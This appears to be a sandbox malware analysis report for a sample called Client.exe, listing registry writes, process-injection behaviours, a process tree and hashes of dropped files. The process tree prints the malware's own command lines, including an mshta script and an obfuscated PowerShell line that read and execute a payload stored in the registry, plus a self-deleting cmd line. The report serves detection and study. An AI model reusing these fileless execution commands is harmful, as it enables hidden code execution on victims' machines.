060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b07461729349b53ee119d98da422a6bcb39e045a29211b9ef448bb64d5290c16b07461729349b53ee119d98da422a6bcb39d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2527e0a6-e756-4f31 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7a80a240d6b4df02a6bfa0dc16468ae72eda7105d9b86764faa5826f7bff20c0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\324b6815-98fb-4389 = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b8fff853-099c-41a0 = ec07302f49fcd901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2527e0a6-e756-4f31 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ac5e0d8-bf6d-462d = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000c4dfec2e49fcd901d21e072f49fcd901d21e072f49fcd90141a307000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004b57ab6d2000333935613430316261303531656366333634626530616538366563633931373639616265343136366436343237376166626339636436636138343338303933300000b20009000400efbe4b57ab6d4b57ab6d2e00000000000000000000000000000000000000000000000000f36fb700330039003500610034003000310062006100300035003100650063006600330036003400620065003000610065003800360065006300630039003100370036003900610062006500340031003600360064003600340032003700370061006600620063003900630064003600630061003800340033003800300039003300300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000336a43cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33393561343031626130353165636633363462653061653836656363393137363961626534313636643634323737616662633963643663613834333830393330000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b07491729349b53ee119d98da422a6bcb39e045a29211b9ef448bb64d5290c16b07491729349b53ee119d98da422a6bcb39d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\152a4b69-cf39-4c27 = e65d6b2f49fcd901 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\152a4b69-cf39-4c27 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b8fff853-099c-41a0 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2527e0a6-e756-4f31 = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2527e0a6-e756-4f31 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000001293bf2e49fcd901d21e072f49fcd901d21e072f49fcd9011a2206000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004b57ab6d2000376138306132343064366234646630326136626661306463313634363861653732656461373130356439623836373634666161353832366637626666323063300000b20009000400efbe4b57ab6d4b57ab6d2e00000000000000000000000000000000000000000000000000980db500370061003800300061003200340030006400360062003400640066003000320061003600620066006100300064006300310036003400360038006100650037003200650064006100370031003000350064003900620038003600370036003400660061006100350038003200360066003700620066006600320030006300300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000336a43cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37613830613234306436623464663032613662666130646331363436386165373265646137313035643962383637363466616135383236663762666632306330000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b07471729349b53ee119d98da422a6bcb39e045a29211b9ef448bb64d5290c16b07471729349b53ee119d98da422a6bcb39d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ac5e0d8-bf6d-462d = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\395a401ba051ecf364be0ae86ecc91769abe4166d64277afbc9cd6ca84380930" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\324b6815-98fb-4389 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\324b6815-98fb-4389 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a4cecf09-e1be-4b0e RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
PING.EXEpid process 2856 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Client.exepowershell.exeExplorer.EXEpid process 2932 Client.exe 2932 Client.exe 4424 powershell.exe 4424 powershell.exe 4424 powershell.exe 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 2540 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exepid process 4424 powershell.exe 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 2540 Explorer.EXE 1552 cmd.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
Processes:
powershell.exeExplorer.EXERuntimeBroker.exedescription pid process Token: SeDebugPrivilege 4424 powershell.exe Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeShutdownPrivilege 2540 Explorer.EXE Token: SeCreatePagefilePrivilege 2540 Explorer.EXE Token: SeShutdownPrivilege 3708 RuntimeBroker.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Explorer.EXEpid process 2540 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 2540 Explorer.EXE -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
mshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 4860 wrote to memory of 4424 4860 mshta.exe powershell.exe PID 4860 wrote to memory of 4424 4860 mshta.exe powershell.exe PID 4424 wrote to memory of 2948 4424 powershell.exe csc.exe PID 4424 wrote to memory of 2948 4424 powershell.exe csc.exe PID 2948 wrote to memory of 2016 2948 csc.exe cvtres.exe PID 2948 wrote to memory of 2016 2948 csc.exe cvtres.exe PID 4424 wrote to memory of 2936 4424 powershell.exe csc.exe PID 4424 wrote to memory of 2936 4424 powershell.exe csc.exe PID 2936 wrote to memory of 412 2936 csc.exe cvtres.exe PID 2936 wrote to memory of 412 2936 csc.exe cvtres.exe PID 4424 wrote to memory of 2540 4424 powershell.exe Explorer.EXE PID 4424 wrote to memory of 2540 4424 powershell.exe Explorer.EXE PID 4424 wrote to memory of 2540 4424 powershell.exe Explorer.EXE PID 4424 wrote to memory of 2540 4424 powershell.exe Explorer.EXE PID 2540 wrote to memory of 3708 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 3708 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 3708 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 3708 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 4064 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 4064 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 4064 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 4064 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 4924 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 4924 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 4924 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 4924 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 732 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 732 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 732 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 732 2540 Explorer.EXE RuntimeBroker.exe PID 2540 wrote to memory of 1552 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 1552 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 1552 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 1552 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 5060 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 5060 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 5060 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 5060 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 1552 2540 Explorer.EXE cmd.exe PID 1552 wrote to memory of 2856 1552 cmd.exe PING.EXE PID 1552 wrote to memory of 2856 1552 cmd.exe PING.EXE PID 1552 wrote to memory of 2856 1552 cmd.exe PING.EXE PID 1552 wrote to memory of 2856 1552 cmd.exe PING.EXE PID 1552 wrote to memory of 2856 1552 cmd.exe PING.EXE PID 2540 wrote to memory of 5060 2540 Explorer.EXE cmd.exe PID 2540 wrote to memory of 5060 2540 Explorer.EXE cmd.exe
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Client.exe"C:\Users\Admin\AppData\Local\Temp\Client.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>X2iw='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(X2iw).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\D75FCFBE-4A7B-21B2-0CFB-1EE5005F32E9\\\MemoryLocal'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ywglbkiub -value gp; new-alias -name rmsynggefx -value iex; rmsynggefx ([System.Text.Encoding]::ASCII.GetString((ywglbkiub "HKCU:Software\AppDataLow\Software\Microsoft\D75FCFBE-4A7B-21B2-0CFB-1EE5005F32E9").ProcessActive))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r3rlaeja\r3rlaeja.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES408E.tmp" "c:\Users\Admin\AppData\Local\Temp\r3rlaeja\CSC6D82890CD23D4E5EAF3757A80421AE6.TMP"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2tezdmyy\2tezdmyy.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES411B.tmp" "c:\Users\Admin\AppData\Local\Temp\2tezdmyy\CSCD235FEB5B3554D708BD4DA067901770.TMP"5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\Client.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\2tezdmyy\2tezdmyy.dllFilesize
3KB
MD51b57dc81055b78bf9f57bce3f5cb9fb9
SHA16cd3505740942d3cc8b4a9d66c52cb6b1034d665
SHA2564257f6d7e0165949faef65ba501220a2be3d0427d4ad395b729499b5387c06f1
SHA51266af84e0695a3ed656db27c6b88b43be73cd682bfd5b146bd642e183826e44bfe18f52872e94cfb3b082053cdce519ba91fe2d30a9053863eaf3325f5a327dca
-
C:\Users\Admin\AppData\Local\Temp\RES408E.tmpFilesize
1KB
MD52482a557655be5f5f02415c997a7af2c
SHA19c18a0fc232bc3b5450f24e74d150fe43d47ac03
SHA256b8355b5b0f623ec054c1ae2fd686f9f03a14f5518e1cc6717cb8c992ee1439ae
SHA512801a7f169d5f8304ccecc369f29217ee368cabbf16a5d90e389771c2abc0242328d8fb86d51f121ad6d2900a6b02ac8bf5c886948b0ec1efed65c8ab11143723
-
C:\Users\Admin\AppData\Local\Temp\RES411B.tmpFilesize
1KB
MD5f6067eb3f7186ac73f61c6af90107474
SHA15a32baf175631d791e0b231c0cb8bcfb2e5e3f4a
SHA256b027c5e217c899cb3b84b3a95da71e56e7c8e099c99301d96779c510596b833a
SHA512d412a20d57e099404ddebd289a89b2f0e2ef4108f2a68ade763c80778eb99d22c76c25791326879871f11ad0d7fb2306a82922062b735dbe43fa876fe47ce514
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ev00avql.fng.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\r3rlaeja\r3rlaeja.dllFilesize
3KB
MD5c69b1fb3223c53c608cb64951175b3ba
SHA14208bff48f67aca5dc4fca5573d10bafe92f36e0
SHA2567aa05088ba55533edca3219ad058a6b377eb9f45551f06a55f1372aac55f087f
SHA512996d0a28fe7e22a78804bdd908a502896b53bf7ed5c30395391f601ba32902ad7f761056d92d37db73124c52c2b4ca77930995666e703a6f14582b4945437c97
-
\??\c:\Users\Admin\AppData\Local\Temp\2tezdmyy\2tezdmyy.0.csFilesize
406B
MD5ca8887eacd573690830f71efaf282712
SHA10acd4f49fc8cf6372950792402ec3aeb68569ef8
SHA256568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3
SHA5122a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7
-
\??\c:\Users\Admin\AppData\Local\Temp\2tezdmyy\2tezdmyy.cmdlineFilesize
369B
MD517171b279024a22914ecaa88a9906dfc
SHA131bfbb5705e1d0e97803e7c5e2e58d5fabd3cd70
SHA2567b9e1b8dc5506ad889bc617a5cf81987e5fc458b1a46db4417a7af6ac7cf2a51
SHA512ba2e3dc11cb4759bff5396e6be2943bd55b6572e7e41a9eb39925637ac015259649dae445c30f164fec0d641cfd79490e4ac20052cb2b93223db101ab47b6f3e
-
\??\c:\Users\Admin\AppData\Local\Temp\2tezdmyy\CSCD235FEB5B3554D708BD4DA067901770.TMPFilesize
652B
MD5978707ab5618611e2719553ad4f7a33d
SHA12c4b16424384ce4fbe28dd9428bcb4c533b61137
SHA256bb19e54c17aefa82f35581860ecd7be7c820f1f64426aabe926993699e06f7ff
SHA512079e37ca7dac4bc3a443b3aad6469bffe2702b88e40dd875644e4f3e4e861e4a3f4e4ebc9519ded9ff1efc2b2cbbdeb5bc8ca2dcfad94e8fb3635aac4b9a9ad8
-
\??\c:\Users\Admin\AppData\Local\Temp\r3rlaeja\CSC6D82890CD23D4E5EAF3757A80421AE6.TMPFilesize
652B
MD575061783314895a23c766b097fe9b26a
SHA1b15a3b1128ea62cb32cbfbb282dcdb1b4c2016d3
SHA256e1b724ce25a79a2413a16e1c38193ba3212a2aa6b96adc3f111c04ea49ce73d8
SHA5127751c105cb75dd2cd0be177d49961f6c02f38d2a38c012cd7eb79c08b60c21b22f193a0ba9adf2b9e9e72bf955a8d1e2d0903ee11a532819dd1ad290fd83f4ff
-
\??\c:\Users\Admin\AppData\Local\Temp\r3rlaeja\r3rlaeja.0.csFilesize
405B
MD5caed0b2e2cebaecd1db50994e0c15272
SHA15dfac9382598e0ad2e700de4f833de155c9c65fa
SHA25621210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150
SHA51286dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62
-
\??\c:\Users\Admin\AppData\Local\Temp\r3rlaeja\r3rlaeja.cmdlineFilesize
369B
MD51f524d8e367de2fc6be1f616888238e4
SHA1995cc4b871238ee856484a2fe4f8368ce3b79e1d
SHA256f81bc6e58083f386fff0ecb20b4f4b8969ee94d722d2c3c7de1cfc887bf883e5
SHA5129b7c48f41c1ad0a462395590e84ebc0f18c2941a3974ceebd8f9c2700ad7f864bcff4470ea5a987efa297f7847e4cdb3a3867889af98af142758ddeaecf857d8
-
memory/732-90-0x0000018C18330000-0x0000018C183D4000-memory.dmpFilesize
656KB
-
memory/732-91-0x0000018C183E0000-0x0000018C183E1000-memory.dmpFilesize
4KB
-
memory/732-120-0x0000018C18330000-0x0000018C183D4000-memory.dmpFilesize
656KB
-
memory/1552-101-0x0000013641F60000-0x0000013641F61000-memory.dmpFilesize
4KB
-
memory/1552-119-0x0000013641EB0000-0x0000013641F54000-memory.dmpFilesize
656KB
-
memory/1552-98-0x0000013641EB0000-0x0000013641F54000-memory.dmpFilesize
656KB
-
memory/2540-60-0x0000000002810000-0x0000000002811000-memory.dmpFilesize
4KB
-
memory/2540-59-0x00000000087F0000-0x0000000008894000-memory.dmpFilesize
656KB
-
memory/2540-99-0x00000000087F0000-0x0000000008894000-memory.dmpFilesize
656KB
-
memory/2856-106-0x000001CC83660000-0x000001CC83661000-memory.dmpFilesize
4KB
-
memory/2856-118-0x000001CC835B0000-0x000001CC83654000-memory.dmpFilesize
656KB
-
memory/2856-105-0x000001CC835B0000-0x000001CC83654000-memory.dmpFilesize
656KB
-
memory/2932-1-0x0000000001480000-0x000000000148F000-memory.dmpFilesize
60KB
-
memory/2932-11-0x0000000003160000-0x000000000316D000-memory.dmpFilesize
52KB
-
memory/2932-5-0x0000000000400000-0x000000000040F000-memory.dmpFilesize
60KB
-
memory/2932-0-0x0000000001470000-0x000000000147C000-memory.dmpFilesize
48KB
-
memory/3708-109-0x000002643FA20000-0x000002643FAC4000-memory.dmpFilesize
656KB
-
memory/3708-73-0x000002643FA20000-0x000002643FAC4000-memory.dmpFilesize
656KB
-
memory/3708-74-0x000002643FAD0000-0x000002643FAD1000-memory.dmpFilesize
4KB
-
memory/4064-116-0x00000167C1980000-0x00000167C1A24000-memory.dmpFilesize
656KB
-
memory/4064-80-0x00000167C1940000-0x00000167C1941000-memory.dmpFilesize
4KB
-
